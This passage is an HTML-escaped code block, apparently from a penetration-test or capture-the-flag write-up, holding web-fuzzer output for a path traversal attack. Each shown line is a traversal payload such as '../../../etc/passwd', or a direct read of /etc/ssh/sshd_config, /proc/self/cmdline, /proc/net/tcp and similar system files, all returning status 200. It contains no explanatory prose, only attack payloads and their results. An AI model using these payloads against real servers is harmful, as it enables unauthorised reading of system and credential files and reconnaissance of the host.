&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 30ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 31ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 29ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 43ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 44ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 45ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 49ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 46ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 48ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;../../../../../../etc/passwd&amp;amp;=&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;3C [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/rpc [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1184&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/resolv.conf [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;52&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/etc/ssh/sshd_config [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4452&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/dev [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 32ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/arp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;208&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 37ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/cpuinfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3040&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/mounts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1956&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/interrupts [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5576&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/loadavg [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/meminfo [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1892&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 41ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/route [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;512&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/net/tcp [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8800&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 26ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/cmdline [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/partitions [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;156&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 42ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/proc/self/status [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1780&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 39ms]
